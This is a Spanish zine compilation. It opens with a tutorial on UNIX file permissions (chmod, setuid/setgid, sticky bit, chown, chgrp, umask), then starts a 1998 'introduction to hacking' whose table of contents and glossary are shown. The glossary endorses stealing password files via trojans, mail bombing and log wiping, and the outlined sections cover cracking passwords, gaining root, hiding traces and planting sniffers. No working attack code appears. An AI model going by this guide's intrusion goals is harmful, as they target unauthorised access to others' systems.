decir al usuario 'core', por lo tanto sabemos que este usuario puede leer,
escribir y ejecutar dicho fichero. Pero... que hay del resto? Pues bien, el
segundo terceto siempre se referira a los permisos del grupo, mientras que
lo que resta a los demas usuarios. Por lo tanto en este caso, como habreis
deducido, todo el mundo tiene derecho a todos los permisos posibles sobre
el archivo. Pongamos un ultimo ejemplo:
-r-x--xrw- 1 core users 5 Feb 4 21:49 prueba*
En este fichero como podreis observar hay un ligero cambio de
permisos. El fichero 'prueba' ya que comienza mediante un '-' tiene permisos
de lectura y ejecucion para su dueño 'core', de ejecucion para los de su
grupo 'users', y de lectura y escritura para el resto de usuarios. Como
habreis podido ver, al no haber permisos de escritura para su dueño, ni
permisos de lectura y escritura para su grupo, ni permisos de ejecucion
para el resto de los usuarios, estos son resprentados mediante un '-'.
Ahora que ya hemos explicado las caracteristicas globales de todo
directorio y archivo unix podemos dar paso a la explanacion de las 2 formas
citadas anteriormente para establecer nuestros permisos en el sistema UNIX.
Forma abosluta:
La principal caracteristica que tiene esta nomenclatura es la de
asignar los permisos mediante valores octales.
Como todos sabreis, la base octal, o base 8, puede contener de los
numeros 0 al 7. Es por ello, que tan solo son validos estos numeros a la
hora de asignar permisos. Fijate en el siguiente cuadro:
Fig 1. Permiso Valor_Octal
------------------------------
r | lectura 4
w | escritura 2
x | ejecucion 1
Claramente observamos que numero octal corresponde a cada
caracteristica de un archivo o directorio en un sistema UNIX. Pasemos pues
a poner en uso todo lo aprendido hasta ahora.
Como dijimos antes el comando utilizado por los S.O UNIX para
establecer permisos recibe el nombre de chmod. A la hora de dar permisos en
forma absoluta hemos de seguir la siguiente Sintaxis: 'chmod XYZ archivo'.
X representa al dueño del archivo, Y al grupo y Z al resto de
usuarios, mientras que 'archivo' es el nombre del archivo a especificar los
permisos. Siempre que queramos atribuir mas de un permiso los numeros
octales se sumaran. Observar los siguientes ejemplos para un mayor
entendimiento:
chmod 460 archivo
chmod 755 archivo
chmod 050 archivo
chmod 000 archivo
chmod 777 archivo
-EL primer ejemplo daria permisos de lectura al propietario (4),
lectura y escritura al grupo (4+2), y ningun permiso al resto de usuarios
(0).
-El segundo ejemplo daria permisos de escritura, lectura y ejecucion
al propietario (4+2+1), permisos de lectura y ejecucion tanto al grupo como
al resto de usuarios (4+1)
-El tercer ejemplo no daria ningun permiso al propietario (0),
permisos de ejecucion y lectura al grupo (4+1), y ningun permiso al resto
de usuarios (0)
-El cuarto ejemplo no tendria ningun permiso para nadie (0)
-Y finalmente el ultimo ejemplo tendria todos los permisos para todos
los usuarios (4+2+1)
Espero que haya quedado totalmente claro el sistema absoluto mediante
los anteriores ejemplos. Una vez dicho esto pasemos a explicar la segunda y
ultima posiblidad.
Forma relativa:
A diferencia de la forma abosulta, la relativa no utiliza numeros
octales o en base 8 para establecer los diferentes permisos, sino que se
basa en una nomenclatura de letras. Al igual que en la forma absoluta, en
la relativa tambien nos valemos del comando 'chmod' para asignar los
permisos.
Observa los siguientes cuadros:
Fig 1.
Letra Explicacion
---------------------------------------------------------------------------
a Engloba todos los usuarios, grupos y demas usuarios.
g Engloba el grupo del propietario.
o Engloba todos los demas usuarios no mecionados antes.
u Engloba al usuario que creo dicho archivo
Fig 2.
Operador Explicacion
---------------------------------------------------------------------------
+ Agrega la modalidad
- Elimina la modalidad
= Elimina los permisos existentes y agrega los establecidos
que indiquemos.
Fig 3.
Permiso Explicacion
---------------------------------------------------------------------------
x Establecemos la ejecucion
r Establecemos la lectura
w Establecemos la escritura
Siempre que queramos atribuir permisos a un archivo/directorio en
forma relativa seguiremos por orden los 3 cuadros expuestos anteriormente.
Por lo tanto primero se indicara a la persona o personas que queremos
atribuir dichos permisos, seguiremos estableciendo la agregacion o
eliminacion de ciertos permisos y finalmente indicaremos estos mismos
permisos. Fijate en el siguiente ejemplo:
chmod a+r archivo
Si te has fijado en las Figuras anteriores, no te deberia costar
demasiado entender los permisos que atribuye la orden anterior.
Primeramente como hemos dicho, indicamos al usuario/usuarios, en este caso
esta la letra 'a' que significa que estableceremos permisos al dueño, grupo
y demas usuarios. El siguiente simbolo que le sigue, indicara si queremos
agregar o eliminar permisos del archivo en cuestion, en este caso el
simbolo '+' indica que queremos agregar permisos al fichero. Finalmente
indicaremos los permisos a agregar. En este caso indicamos 'r' (lectura)
para todos los usuarios 'a'.
Espero que haya quedado claro lo anterior, mediante este ejemplo. Sin
embargo quiza el simbolo '=' no lo acabemos de entender. Bien simplemente a
diferencia de los caracters '+' y '-', el simbolo '=' lo que hace es
agregar permisos al usuario/usuarios en cuestion, pero eliminando antes los
que tenia establecidos. Ejemplo:
chmod g=rw archivo
Y simplemente lo que haria seria quitar los permisos establecidos en
el grupo (si hay alguno), y daria permisos de lectura 'r' y escritura 'w'
al grupo del creador de dicho archivo.
Si por el contrario queremos establecer varios permisos a las
diferentes categorias que comprenden los sistemas UNIX podemos utilizar
las comas.
Ejemplo:
chmod o-wr, g-wr archivo
Que simplemente esta sentencia eliminaria ambos permisos, de escritura
y lectura tanto para el grupo, como para el resto de usuarios o general.
Durante gran parte de este texto, nos hemos referido tanto a
directorios como a archivos de forma indistintiva. Pero como bien sabemos,
un directorio con caracteristicas de ejecucion, no quiere decir que se
pueda ejecutar, entre otras cosas, porque los directorios no se crearon con
ese fin. A continuacion se muestra un cuadro con las multiples cualidades
que puede tener un directorio, y que podemos hacer con funcion de estas.
Fig 1.
Permisos Caracteristicas
--------------------------------------------------------------------
r La persona o personas que tenga establecidos este permiso
podran observar lo que contiene dicho directorio.
w La persona o personas que tenga establecidos este permiso
podran escribir (crear o eliminar) en el directorio.
x La persona o personas que tenga establecidos este permiso
podran acceder al directorio y ejecutar los archivos
que lo contienen, siempre y cuando estos tengan permisos
de ejecucion a su vez.
Como habreis podido deducir, las opciones anteriores se pueden
convinar si deseamos dar multiples cualidades a un directorio.
A continuacion podras ver unas aclaraciones tanto de archivos como de
directorios que no habiamos comentado literalmente hasta ahora.
*Las unicas personas que pueden cambiar el permiso de los archivos o
directorios ubicado en una maquina UNIX son: el propietario del archivo
o directorio, el root o superusuario del sistema, y el dueño del directorio
en el cual contiene dicho fichero o directorio.
*Siempre que un usuario tenga propiedad de lectura (como minimo)
sobre cualquier archivo, y este no sea el propietario, si copia dicho
fichero, la duplicacion de este archivo pasara a ser propiedad de el.
*Cuando hablamos sobre permisos de escritura de archivos, nos
referimos a la posiblidad que tenemos de insertar o eliminar texto dentro
de ese fichero, mientras que cuando nos referimos a estos ultimos permisos
para directorios, tenemos la posiblidad de crear nuevos archivos o
directorios ubicados dentro del directorio en el cual tenemos estos
permisos.
*A la hora de eliminar un archivo o un directorio, no importa los
permisos que tengan, ni quien sea su propietario, mientras tengamos
permisos de escritura sobre el directorio que se encuentra dicho fichero o
directorio podremos borrarlo.
Finalicemos este apartado dando un repaso sobre los diversos
parametros que podemos conjuntar con el comando chmod a la hora de
establecer permisos.
Sintaxis general:
chmod [opciones] establecimiento_del_permiso archivo_o_directorio
Opciones Descripcion
-------- -----------
-c *Nos describe con detalle solo los archivos cuyos permisos
cambian. Si volvemos a establecer los mismos que tenia, el
sistema no mostrara nada.
-f *Si usamos esta opcion, y establecemos un permiso a un archivo
en el que no somos propietarios, el sistema no sacara ningun
tipo de error, simplemente el archivo se quedara tal como
estaba antes.
-v *Describe con detalle los permisos cambiados, aunque volvamos a
establecer los mismos, el sistema nos lo indicara.
-R *Esta opcion cambia de forma recursiva los permisos de los
directorios y todo lo que haya dentro.
--help *Muestra como usar chmod con sus respectivos parametros
--version *Imprime informacion de la version chmod utilizado por nuestro
S.O
Si te interesa concretar mas a cerca de este comando con todas sus
opciones posibles, puedes consultar la ayuda de UNIX (man chmod)
5. Los 3 bits adicionales de los permisos de un archivo
--------------------------------------------------------
En la seccion 3, si recordais, dejemos un tema en el aire, en el cual
se hablaba de 3 bits adicionales que proporcionaban informacion para las
operaciones del archivo mientras fuese ejecutable. Este tema es el que
abarcaremos en esta seccion.
Hasta ahora hemos aprendido a dar 3 cualidades diferentes a un archivo
o directorio. Y a estas alturas nos resulta ya familiar las letras 'r', 'w',
y 'x'. Pero los sistema basados en UNIX nos permiten dar un ligero cambio
a la estructura ya explicada anteriormente mediante estos 3 bits
adicionales. Son los llamados: setgid, setuid, y el bit sticky.
Gracias a estas opciones podemos de alguna manera 'romper' las normas
que hemos establecido hasta ahora. Si recordais, hemos explicado que si un
archivo fuese del tipo -rwxrwxrwx, es decir que tuviese todos los permisos
posibles para todos los usuarios posibles, cualquier usuario podria
borrarlo por ejemplo. En este caso, si a este mismo archivo le agregaramos
el permiso del bit sticky, este archivo solo podria ser borrado por el
propietario del archivo, el propietario del directorio y el root. veamos
la representacion:
Fig 1.
-rwxrwxrwx 1 core users 5 Feb 5 16:50 prueba*
Fig 2.
-rwxrwxrwt 1 core users 5 Feb 5 17:56 prueba*
Como podreis observar hay un ligero cambio en los permisos del
archivo, ademas del caracter 't' que aun no conociamos (sticky o adosado)
En este caso como hemos dicho la Fig 2. representa un archivo que solo
puede ser borrado por el root, dueÒo del directorio donde se ubica, y por
el creador de dicho archivo. Sin embargo en este segundo caso, cualquier
persona puede escribir, leer, y ejecutar el fichero prueba, pero nunca
borrar. Ademas de todo esto, el bit sticky tambien se usa para que no se
retire dicho archivo del espacio swap hasta que el programa haya finalizado.
Tambien se ha de resaltar, que siempre que se vea el simbolo 't' significara
que el bit sticky esta a uno (por lo tanto activado) y el bit de ejecucion
tambien a uno (por lo tanto el archivo podra ser ejecutado). Pero tambien
cabe la posiblidad de encontrarnos delante del simbolo 'T' que nos indicara
que el bit sticky esta a uno, pero el bit de ejecucion esta a 0.
El establecimiento de este permiso es sumamente sencillo. Hasta ahora
solo conociamos la sintaxis chmod XYZ, a partir de ahora agregamos una nueva
variable, en este caso quedaria asi, chmod KXYZ, siendo K el valor que
daremos para establecer tanto el bit sticky, como el setuid o setgid que
explicaremos mas adelante.
Para establecer el bit adosado en un archivo, deberemos darle el valor
de 1 a la variable K. Ejemplo:
chmod 1000 prueba
---------T 1 core users 7 Feb 5 18:00 prueba
Como podemos observar el bit sticky esta a 1, pero el bit de ejecucion
esta a 0, por lo tanto se representara mediante 'T'. Para la forma relativa
el establecimiento seria colocando la letra 't'. Ejemplo:
chmod a=t prueba
Obteniendo los mismos resultados.
Si tubieramos el formato -rw-rw---x al poner el bit sticky a 1 obtendriamos:
-rw-rw---t 1 core users 7 Feb 5 18:00 prueba*
NOTA: Si habeis sido un poco observadores, os habreis dado cuenta de
que si activamos el bit adosado, este no nos deja ver si el resto de
usuarios tiene permisos de ejecucion. Siempre que el simbolo lo represente
mediante 't' sabremos que el resto de usuarios tiene permisos de ejecucion.
Y si lo representa mediante 'T', el resto de usuarios no los tendra.
Una vez explicado todo esto, podemos pasar a explicar el
funcionamiento del bit setuid y setgid.
El bit setuid estara activado y representado en los permisos del
dueño del archivo. De tal forma que si el setgid esta activado, estara
representado en los permisos del grupo.
Si el bit esta activado en el primer terceto de permisos (setuid)
y es ejecutado por un usuario, el fichero en concreto, a partir de ese
momento actuara de la misma forma, que actuaria si fuese ejecutado por el
propio dueño del fichero. De esta misma forma si el bit esta activado
en el campo del grupo (setgid), y lo ejecuta un usuario del tercer tercerto
de permisos, este inmediatamente actuara como si fuese del grupo de ese
fichero.
Igual que antes, siempre que veamos el simbolo 's', en este caso,
significara dependiendo de donde se encuentre, que el bit setuid, o setgid
esta a 1, y el bit de ejecucion tambien a 1. Si se representa mediante 'S'
el bit de ejecucion estara a 0. Puesto que estos permisos consisten en
ejecutar archivos con permisos diferentes, debera de darse permisos de
ejecucion tanto al dueÒo, como al grupo y resto de usuarios, ya que si el
bit setuid o setgid esta activado, quedra decir que queremos que lo
ejecuten otros usuarios, por lo tanto no tendria sentido quitar el permiso
de ejecucion de los campos.
Estos bits siguen la misma nomenclatura que el ya tratado bit sticky.
Si deseamos aplicarlo de la forma absoluta, bastara con darle al valor
K el numero 4, con ello activaremos el bit setuid a 1. En cambio si le damos
a K el valor 2, activaremos el setgid. De igual forma que anteriormente,
tanto el bit sticky, como setuid o setgid, sus valores se pueden sumar. Si
desearamos dar permisos a un archivo con el bit sticky, setgid y setuid
activados, ademas de dar permisos de ejecucion a todo el mundo, bastaria
con hacer un ' chmod 7111 archivo '.
Si optaramos por la forma relativa, tenemos a nuestra disposicion la
letra 's'para dar dichos permisos. Ejemplo:
chmod g=s archivo
Con esta instruccion quitariamos todos los permisos antiguos del grupo
(si los hubiera) y activaria el bit setgid, ya que estamos 'tocando' el
campo del grupo, y en ese campo no puede estar el bit setuid.
A continuacion mostramos 4 ejemplos de lo hablado hasta ahora, para
poder observar la diferencia de lo aprendido hasta el momento.
El primero representa un archivo ejecutable con el bit setuid a 1, y
ejecutable. El 2 ejemplo representa lo anterior pero sin permisos de
ejecucion ni de ningun tipo. El 3 representa un archivo con permisos de
ejecucion y bit setgid activado. Y por ultimo un archivo sin permisos con
setgid activado y permisos de ejecucion desactivados.
Fig 1.
---s--x--x 1 core users 5 Feb 5 19:26 prueba*
Fig 2.
---S------ 1 core users 5 Feb 5 19:26 prueba
Fig 3.
---x--s--x 1 core users 5 Feb 5 19:26 prueba*
Fig 4.
------S--- 1 core users 5 Feb 5 19:26 prueba
Uno de los archivos mas claros en los sistemas UNIX, que necesita
tener especificado el permiso setuid, es el nombrado /usr/bin/pa°wd que
permite a cualquier usuario cambiar su pasword o palabra clave, ya que para
sobreescribir su nueva clave en el fichero /etc/pa°wd se ha de tener
permisos de escritura. Si deseais obtener mas informacion sobre que
archivos o directorios tienen establecidos tanto el bit adosado, bit
setuid o setgid nos podemos ayudar con las ordenes 'find -perm 1000 -print'
'find -perm 4000 -print' y 'find -perm 2000 -print' respectivamente.
Tambien uno de los ejemplos mas claros a aplicar para el bit sticky,
es el del directorio /tmp ya que todo el mundo tiene cualquier permiso sobre
ese directorio, sino estuviera dicho bit activado, cualquier usuario
podria borrar archivos que no pertenecieran a el.
6. chown, chgrp y umask
------------------------
No podiamos despedirnos de este documento sin almenos hacer mencion de
3 comandos que tambien tienen mucho que ver con los permisos de todo
directorio o archivo UNIX. A continuacion pasamos a explicarlos:
Chown:
Gracias a esta orden nos es permisible cambiar la propiedad del
archivo, es decir 'entregar' un archivo de nuestra propiedad a otra persona,
con lo cual esta ultima persona sera el nuevo propietario de dicho fichero.
Es importante saber que la propiedad de cualquier fichero solo puede
cambiarla el root o superusuario del sistema.
Podemos utilizar esta orden de la siguiente forma:
chown nuevo_usuario fichero
Ejemplo:
ls -l
-rw-rw---t 1 core users 7 Feb 5 18:00 prueba*
chown temp prueba
ls -l
-rw-rw---t 1 temp users 7 Feb 5 18:20 prueba*
Como se puede apreciar claramente, el superusuario del sistema a
cambiado la propiedad del archivo 'prueba' que antes pertenecia al usuario
'core' y lo ha establecido de forma que el nuevo dueño del fichero es el
usuario temp.
De igual forma que en la orden chmod, chown tambien posee diversos
parametros que se pueden aplicar cojuntamente con esta orden, a continuacion
los describimos:
Sintaxis general:
chown [opciones] establecimiento_del_nuevo_usuario archivo_o_directorio
Opciones Descripcion
-------- -----------
-c *Nos describe con detalle solo los archivos cuya propiedad
cambian. Si volvemos a establecer la propiedad que ya tenia, el
sistema no mostrara nada.
-f *Esta opcion no imprime mensaje de error alguno sobre archivos
cuya propiedad no pueden cambiarse.
-v *Describe con detalle los permisos de propiedad, aunque volvamos
a establecer los mismos, el sistema nos lo indicara.
-R *Esta opcion cambia de forma recursiva la propiedad de los
directorios y todo lo que haya dentro.
--help *Muestra como usar chown con sus respectivos parametros
--version *Imprime informacion de la version chown utilizado por nuestro
S.O
Si te interesa concretar mas a cerca de este comando con todas sus
opciones posibles, puedes consultar la ayuda de UNIX (man chmod)
chgrp:
Gracias a esta orden que nos brinda el sistema UNIX, podemos cambiar
la propiedad de grupo a un archivo en concreto, tan solo necesitaremos 2
requisitos para llevar a cabo la labor mencionada anteriomente, ser el
propietario del fichero, y pertenecer al grupo al que se va a cambiar el
archivo.
*NOTA* El usuario root no necesita cumplir los requisitos mencionados
anteriormente.
Podemos utilizar esta orden de la siguiente forma:
chgrp nuevo_grupo fichero
Ejemplo:
ls -l
-rw-rw---t 1 core users 7 Feb 5 18:00 prueba*
chgrp users2 prueba
ls -l
-rw-rw---t 1 core users2 7 Feb 5 18:20 prueba*
En este caso el usuario core, propietario del archivo prueba, y ademas
miembro del grupo users2, a establecido un nuevo grupo sobre su archivo,
users2, eliminando el que habia antes definido, users.
De igual forma que en las ordenes chmod y chown, chgrp tambien posee
diversos parametros que se pueden aplicar cojuntamente con esta orden, a
continuacion los describimos:
Sintaxis general:
chgrp [opciones] establecimiento_del_nuevo_grupo archivo_o_directorio
Opciones Descripcion
-------- -----------
-c *Nos describe con detalle solo los archivos cuya propiedad
cambian. Si volvemos a establecer la propiedad que ya tenia, el
sistema no mostrara nada.
-f *Esta opcion no imprime mensaje de error alguno sobre archivos
cuya propiedad no pueden cambiarse.
-v *Describe con detalle los cambios de propiedad. Aunque volvamos a
establecer los mismos, el sistema nos lo indicara.
-R *Esta opcion cambia de forma recursiva la propiedad de los
directorios y todo lo que haya dentro.
--help *Muestra como usar chgrp con sus respectivos parametros
--version *Imprime informacion de la version chgrp utilizado por nuestro
S.O
Si te interesa concretar mas a cerca de este comando con todas sus
opciones posibles, puedes consultar la ayuda de UNIX (man chmod)
umask:
Para finalizar este apartado, y el final de este documento, daremos
paso a la explicacion del comando umask o mascara.
Gracias a este comando podemos especificar cuales seran los permisos
predeterminados que obtendran los archivos o directorios, al crearse.
Seguramente a lo largo de este largo documento, a medida que habeis
ido leyendo y aprendiendo diversas cosas, os habeis parado por un momento
a pensar sobre que permisos tendria un archivo justamente despues de haber
sido creado. Para responder a esta pregunta nos podemos ayudar del comando
citado anteriormente, umask. Si lo ejecutamos como hemos dicho
anteriormente, sin ningun tipo de parametro, el sistema nos contestara con
un numero formado por 3 digitos, el primer digito se referira al dueño del
archivo, el segundo al grupo que corresponde el creador del archivo, y el
tercer digito el resto de usuarios.
Observa el siguiente cuadro que muestra los valores mas comunes de
umask y sus valores asociados:
Fig 1.
Umask Ficheros Directorios
---------------------------------------------------------------
000 -rw-rw-rw- drwxrwxrwx
002 -rw-rw-r-- drwxrwxr-x
006 -rw-rw---- drwxrwx--x
007 -rw-rw---- drwxrwx---
022 -rw-r--r-- drwxr-xr-x
026 -rw-r----- drwxr-x--x
027 -rw-r----- drwxr-x---
066 -rw------- drwx--x--x
067 -rw------- drwx--x---
077 -rw------- drwx------
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
0 proporciona permisos de proporciona todos los
lectura y escritura permisos
1 proporciona permisos de proporciona permisos de
lectura y escritura lectura y escritura
2 propociona permisos de proporciona permisos de
lectura lectura y ejecucion
4 proporciona permisos de proporciona permisos de
escritura escritura y ejecucion
*NOTA* Como puedes observar ,umask, al igual que chmod, te permite
sumar los valores (1, 2 y 4) para poder atribuir mas de un permiso a un
archivo o directorio.
Ejemplo:
umask
022
Despues de ejecutar el comando umask en el sistema, este nos responde
con el numero 022, con esto nos quiere decir que todo archivo que creemos
se inicializara con los permisos -rw-r--r-- y drwxr-xr-x para los
directorios.
Ejemplo2:
umask 077
Al ejecutar esta sentencia haremos entender al sistema, que a partir
de ese momento todo archivo que creemos obtendra los permisos -rw------- y
drwx------ para directorios. Como habreis observado los dos ultimos 7
son sumados (4+2+1) para especificar mas de un permiso.
*NOTA* Aunque cambiemos el valor del umask, este no sera permanente,
ya que dicha sentencia esta definida en uno de los archivos de arranque
de todo sistema UNIX, y al reiniciar la maquina, volveria a tener
el valor de siempre. Si quisieramos un valor permanente distinto
al que esta establecido por defecto, tendriamos que modificar los
archivos de arranque del S.O
7. Despedida
------------
Espero que todo aquel que haya leido este texto, pueda ahora
desemvolverse sin ningun tipo de problema por los sistemas UNIX en lo
referente a permisos.
Quiero agradecer a todo aquel que se a mostrado interesado en leer
este documento, tanto si ya poseia estos conocimientos como si no.
Hemos dado basicamente (sin entrar en profundidad sobre ciertos
temas), todo lo referente a permisos de este S.O. Finalmente quiero volver
a recalcar, que todo aquel que no haya entendido algo en concreto, crea que
he podido cometer algun error, o simplemente piense que he podido o deberia
haber agregado alguna cosa mas a todo lo dicho anteriormente, puede ponerse
en contacto conmigo, y informarme sobre ello.
by Koji
soykoji@hotmail.com
<---------------------------------------------------------------------------->
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
<---------------------------------------------------------------------------->
⁄------------------------------ø
€ INTRODUCCION AL HACKING v2.0 €
¿------------------------------Ÿ
POR DAEMON 25-01-1998
Daemond@usa.net
Dillet@usa.net
Antes que nada, he de decir que el contenido de este texto esta
solamente destinado a usos educacionales, de investigacion y/o de
desarrollo. En ningun momento el creador de este texto se hace
responsable de los daños causados debido a un mal uso de el mismo.
Bien, en este texto se recopilan los aspectos basicos del hacking
para toda la gente que esta empezando. El objetivo es una estructuracion de
la informacion para asi no tener que leer mil textos que te repiten los
mismos conceptos una y otra vez. Espero que este texto sea de utilidad a
todo el que este empezando en estos temas asi como puede dar algunas ideas
a los que tengan un nivel medio.
Tambien es verdad que en este texto se cuentan algunos metodos de
hacking aunque muchas veces se dejan cosas en el tintero que seran
explicadas en otros textos.. }-)
Tambien, aunque no se diga constantemente a lo largo del texto, la
mayoria de las ideas aqui indicadas son para sistemas UNIX y derivados por
lo que si os enfrentais a otras cosas como el Moco$oft NT dudo que os sirva
alguna de las ideas aqui expuestas. Igualmente, para conseguir un acceso si
nos encontramos ante un firewall la mayoria de las tecnicas aqui explicadas
tampoco funcionaran por lo que habra que exprimirse un poco mas el tarro :(
Por cierto, no pongo acentos para evitar las tipicas putadillas :)
Como siempre digo, sugerencias, dudas y preguntas.. e incluso
criticas a mi mail.
Dillet@usa.net
Daemond@usa.net
Me gustaria que me maileaseis ( leo todos los mails que recibo) para
decirme si algun apartado del texto no queda lo suficientemente claro ya
que me gustaria que este texto sirviese para todo el mundo e ir
actualizando para posteriores revisiones. Para tecnicas de hacking mas
avanzadas que las que aqui se exponen, ya escribire textos aparte de este,
ya que esto es una introduccion y no cuenta tecnicas avanzadas. Tambien me
podeis mailear para pedirme posteriores ediciones de este texto o de otros
textos de parecidas caracteristicas :)
Igualmente, supongo que en un texto tan grande habra fallos por lo
que cualquier ayuda para corregirlos es bienvenida ;o)
Asi, la ESTRUCTURA DEL TEXTO sera:
0.- Glosario
1.- Buscando maquina objetivo y algunas cosas sobre unix orientado al hacking
2.- Introduccion a distintos sistemas
3.- Como conseguir una cuenta
4.- Como obtener cuentas
4.1.- Cuentas por defecto
4.2.- Ingenieria social
4.3.- Conseguir fichero pa°wd con algun bug
4.4.- Conseguir directamente una cuenta con un bug
4.5.- PHF
4.6.- Xploits que te dan directamente una shell
4.7.- Otros metodos (FTP, Spoofing, etc)
5.- Salir de shell restringida
6.- Crackear pa°word de maquinas UNIX
6.1.- Introduccion y algoritmo de cifrado.
6.2.- Conseguir el fichero de pa°wd estando dentro de la maquina
6.2.1.- Introduccion
6.2.2.- Pa°word shadowing
6.2.3.- NIS
6.3.- Distintos metodos para bajaros el fichero de pa°wd una vez lo
tienes bajo control
6.4.- Como se crackean
6.5.- Que crackeador de pa°word usar.
7.- Obtener acceso de root
7.1.- Fuerza bruta
7.2.- Exploits
7.3.- Troyanos
8.- Hackear con condon.
9.- Borrar huellas.
10.- Preservar el acceso y poner sniffers
11.- Legalidad
12.- Despedida
0. GLOSARIO
En este glosario, lo primero que se ha de definir es la palabra
HACKER ya que esto es lo que nos va a llevar todo este texto.
Un hacker es una persona con un conocimiento importante de sistemas
operativos, redes, protocolos, lenguajes de programacion, etc. con lo que
se podria resumir tener un dominio de la seguridad en redes. Asi, opino
que un hacker no es un chaval que le pasan algunos logins y pa°words y
que se dedica a entrar a la maquina y ejecutar exploits que ni sabe ni lo
que hacen ni le importa, sino que simplemente sabe que le dan categoria
de rOOt. Para mi esto se puede hacer durante una temporada para aprender
pero siempre como una etapa para llegar mas adelante a fines mas
interesantes :)
Resumiendo, un HACKER deberia ser una persona con amplios
conocimientos y que sabe en todo momento perfectamente lo que hace y que
entra en sistemas por diversion y no para destrozar sistemas o cosas
parecidas. Aunque para otros como el famoso Marcus J. Ranum compara los
hackers con "vandals", pero en fin, hay opiniones para todos los gustos
:o(
En fin despues de este rollo filosofico que opino que es necesario en
un texto de introduccion a estos temas, paso a comentaros un breve glosario
para introducirse en la jerga de este mundillo.
Este glosario esta por orden alfabetico:
ADMINISTRADOR, sysop, root :Esla persona que se encarga del sistema.
Se suele denominar rOOt y es la persona que tiene el poder absoluto sobre
la maquina. Tiene un UID=0.
AGUJERO, bug, hole : Es und efecto en el software o hardware que como
su nombre indica deja agujeros para los hackers y que gracias a dios
existen muchos ya que si no esto seria de locos jeje
AIX: Sistema operativo de IBM
BUGS y EXPLOITS: Los bugs son fallos en el software o en el hardware y
que usan los hackers para entrar en sistemas y un exploit es un programa que
aprovecha el agujero dejado por el bug. Ver AGUJERO.
BOMBA LOGICA: Codigo que ejecuta una particular manera de ataque
cuando una determinada condicion se produce. Por ejemplo una bomba logica
puede formatear el disco duro un dia determinado, pero a diferencia de un
virus.. la bomba logica no se replica.
BACKDOOR :Puerta trasera. Mecanismo que tiene o que se debe crear en
un software para acceder de manera indebida (jeje)
BBS (Bulletin Board System): Es una maquina a la que se accede a
traves de la linea telefonica y donde se dejan mensajes y software. La
putada es que si la bbs no esta en tu ciudad.. timofonica se hace
millonaria a tu costa. :o(
BOXING: Uso de aparatos electronicos o electricos (Boxes) para hacer
phreaking. Esto no es hacking sino phreaking... hay blue box, red box, etc.
BOUNCER: Tecnica que consiste en usar una maquina de puente y que
consigue que telneteando al puerto xxxx de la maquina "bouncerada" te
redireccione la salida a un puerto determinado de otra maquina. Esta tecnica
es muy usada en el irc redireccionando a los puertos destinados a los
servidores de irc por anonimicidad y otros temas que no vienen al caso.
CABALLOS DE TROYA :Programa que se queda residente en un sistema y
que ha sido desarrollado para obtener algun tipo de informacion. Por
ejemplo seria un caballo de troya un programa que al ejecutarlo envie el
fichero de /etc/pa°wd a una determinada IP (Casualmente la nuestra ;o)
CORTAFUEGOS: Ver firewall
COPS: Programa de seguridad.
CERT (Computer Emergency Response Team): Bien, como su nombre indica
es una gente que se dedica de trabajar en seguridad pero que en su esfuerzo
por informar de bugs nuevos, casi nos ayudan mas a nosotros que a ellos :o>
CLOACKER: Programa que borra los logs (huellas) en un sistema.
Tambien llamados zappers.
CRACKER : Esta palabra tiene dos acepciones, por un lado se denomina
CRACKER a un HACKER que entra a un sistema con fines malvados aunque
normalmente la palabra CRACKER se usa para denominara a la gente que
desprotege programas, los modifica para obtener determinados privilegios,
etc.
CRACKEADOR DE PA°WORDS:Programa utilizado para sacar los pa°word
encriptados de los archivos de pa°words. Esto se desarrollara mas adelante
en este texto
DAEMON: Proceso en background en los sistemas Unix, es decir un
proceso que esta ejecutandose en segundo plano.
EXPLOIT Metodo concreto de usar un bug para entrar en un sistema.
FIREWALL, cortafuego: Sistema avanzado de seguridad que impide a
personas no acreditadas el acceso al sistema mediante el filtrado de los
paquetes dependiendo de la IP de origen, en otras palabras, una putada :o(.
En la actualidad esta considerado como uno de los medios de seguridad mas
fiables y hay poca documentacion al respecto de como hackearlos.
FUERZA BRUTA (hackear por...) Es el procedimiento que usan tanto los
crackeadores de pa°word de UNIX como los de NT (o por lo menos los que yo
conozco) que se basan en aprovechar diccionarios para comparar con los
pa°words del sistema para obtenerlos. Esto se desarrolla mas adelante en
este texto.
FAKE MAIL: Enviar correo falseando el remitente. Es muy util en
ingenieria social.
GRAN HERMANO: Cuando la gente se refiere al Gran Hermano, se refiere a
todo organismo legal de lucha contra el mundo underground.
GUSANO: Termino famoso a partir de Robert Morris, Jr.Gusanos son
programas que se reproducen ellos mismos copiandose una y otra vez de
sistema a sistema y que usa recursos de los sistemas atacados.
HACKING :Amplia definicion al principio del glosario.
HACKER :Amplia definicion al principio del glosario.
HOLE: Ver bug.
HP/UX: Sistema operativo de HP.
INGENIERIA SOCIAL :Obtencion de informacion por medios ajenos a la
informatica. Sobre esto nos extenderemos mas adelante en este texto.
IRIX: Sistema operativo.
ISP (Internet Services Provider): Proveedor de servicios internet.
KEY: Llave. Se puede traducir por clave de acceso a un software o
sistema.
KERBEROS: Sistema de seguridad en el que los login y los pa°words van
encriptados.
KEVIN MITNICK: Es el hacker por excelencia!!!. Sus hazañas se pueden
encontrar en mil sitios en la red.
LAMER: Un lamer es una persona que no tiene ninguna inquietud por
todos estos temas de la seguridad sino que lo unico que quiere es tener un
login y un pa° para entrar a un sistema y formatear el disco duro, o para
decirle a un amigo que es un superhacker.. o el tipico que te llega en el
IRC y te dice.. he suspendido un examen y quiero entrar al ordenador de mi
escuela para cambiar las notas. Esto os prometo que me ha pasado mas de una
vez :o(
Importante es distinguir lamer de newbie o novato. Un novato o newbie es una
persona que SI que tiene interes en estos temas pero que logicamente
necesita un tiempo de aprendizaje ya que nadie ha nacido aprendico.
LINUX: Sistema operativo de la familia UNIX y que es muy adecuado
para tenerlo en la maquina de casa ya que no requiere demasiados recursos.
Este sistema operativo lo debes tener en tu casa si quieres hacer algo en
el mundo del hacking aunque ya se comentara mas adelante.
LOGIN : Para entrar en un sistema por telnet se necesita siempre un
login (nombre) y un pa°word (clave).
MAQUINA: En este texto, habitualmente se utilizara el termino maquina
para referirse al ordenador. Mejor no entrar en filosofias :->
MAIL BOMBER: Es una tecnica de puteo que consiste en el envio masivo
de mails a una direccion (para lo que hay programas destinados al efecto)
con la consiguiente problematica asociada para la victima. Solo aconsejo su
uso en situaciones criticas.
NUKEAR: Consiste en joder a gente debido a bugs del sistema operativo
